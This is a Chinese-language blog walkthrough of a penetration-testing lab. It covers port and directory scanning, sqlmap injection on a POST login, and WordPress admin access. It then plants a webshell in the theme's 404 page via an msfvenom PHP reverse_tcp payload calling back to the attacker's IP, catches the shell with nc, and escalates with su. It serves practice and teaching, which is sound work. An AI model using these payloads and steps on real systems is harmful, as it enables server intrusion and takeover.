POST参数-HTTP报文SQL注入
攻击机:192.168.1.5
靶机:192.168.1.6
使用命令:nmap -T4 -A -v 靶机ip发现8080和80端口开放http服务
那我们直接上dirb 暴力扫描敏感文件和目录
dirb http://192.168.1.6:8080
dirb http://192.168.1.6
我们在8080和80端口开放的http服务中分别发现了个php的登陆界面和wordpress的登陆界面:
然后我尝试抓包,然后用.raw文件进行sqlmap的爆破,发现这两个许久都没爆破出来,那可能是不存在注入点!
(os:心态崩了🙃🙃🙃🙃)
我又使用nikto命令进行8080端口的详细信息挖掘,发现了个/img/的网页,尝试访问,但是并没有什么实际用处
又使用nikto扫描该ip,又发现了一个登陆页面
然后进行访问,然后发现他是以post参数进行传参的,那么我们是bp抓包,直接进行http报文注入来试试水,看看有没有注入点
终终终于!爆破出来!从八点做到现在终于给我跑出来了,历经了两个登陆页面,抓包,sqlmap爆破,终于在第三个给我爬出来了。
功夫不负有心人!在信息挖掘中我们就要秉承这种坚持不懈的精神,这样才能找到突破口!🐱🏍✨
sqlmap爆破命令我就不写了,这个百度就可以啦!很简单的!
然后经过一系列的sqlmap爆破,我们终于找到了账号密码:
然后进行了登陆。发现在login那个页面登陆不了,那我们在试试之前用dirb扫出来的那两个登陆页面,
即phpadmin和wordpress8080/admin这两个页面。发现在wp那个页面可以登录!
(其实我爆破以上好几个,发现了好几个用户名和密码,但是只有wordpress8080库的能登上~🙃🙃)
随后在Appearance的编辑页面将404页面改成webshell代码即可
Shell的获取有两种方法,一是利用metasploite进行生成。即使用命令
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.5 lport=4444 -f raw > /root/Desktop/shell.php
这样的话就会在桌面生成一个shell.php
然后将代码复制粘贴到上图处即可
二是使用kali本地的webshell,
cd /urs/share/webshells/php
ls 进行查看
然后选择你想使用的即可
就像这样
要想让靶机反弹shell,我们还需要进行端口监听,也是两种方法。一是metasploite的handler模块。
二是直接使用命令 nc -nlvp port
最后,执行404页面
http://靶场IP地址:端口号/目录/wp-content/themes/主题名/404.php
然后优化会话
python –c “import pty;pty.spawn(‘/bin/bash’)”
(os:说到这,我就想到我今晚花了半小时困在这,原因竟然是最后那个双引号没加……(+_+)?)
最后进行提权,使用su – 然后输入密码即可 密码就是我们登陆后台的那个密码。
至于为什么?往下看§(* ̄▽ ̄*)§
下面是sudo, su, su-, su-i, sudo du 的区别
sudo : 暂时切换到超级用户模式以执行超级用户权限,提示输入密码时该密码为当前用户的密码,而不是超级账户的密码。不过有时间限制,Ubuntu默认为一次时长15分钟。
su : 切换到某某用户模式,提示输入密码时该密码为切换后账户的密码,用法为“su 账户名称”。如果后面不加账户时系统默认为root账户,密码也为超级账户的密码。没有时间限制。
sudo -i: 为了频繁的执行某些只有超级用户才能执行的权限,而不用每次输入密码,可以使用该命令。提示输入密码时该密码为当前账户的密码。没有时间限制。执行该命令后提示符变为“#”而不是“$”。想退回普通账户时可以执行“exit”或“logout” 。
sudo -i 直接运行sudo命令加-i参数
sudo su 运行sudo命令给su命令提权,运行su命令。
sudo -i 运行结果 PWD=/root
sudo su 运行结果 PWD=/home/用户名(当前用户主目录)
su命令和su -命令最大的本质区别就是:前者只是切换了root身份,但Shell环境仍然是普通用户的Shell;
而后者连用抄户和Shell环境一起切换成root身份了。只有切换了Shell环境才不会出现PATH环境变量错误。su切换成root用户以后,pwd
一下,发现工作目录仍然是普通用户的工作目录;而用su -命令切换以后,工作目录变成root的工作目录了。
想要靶场的可以私信或者写在评论里哦
(❤´艸`❤)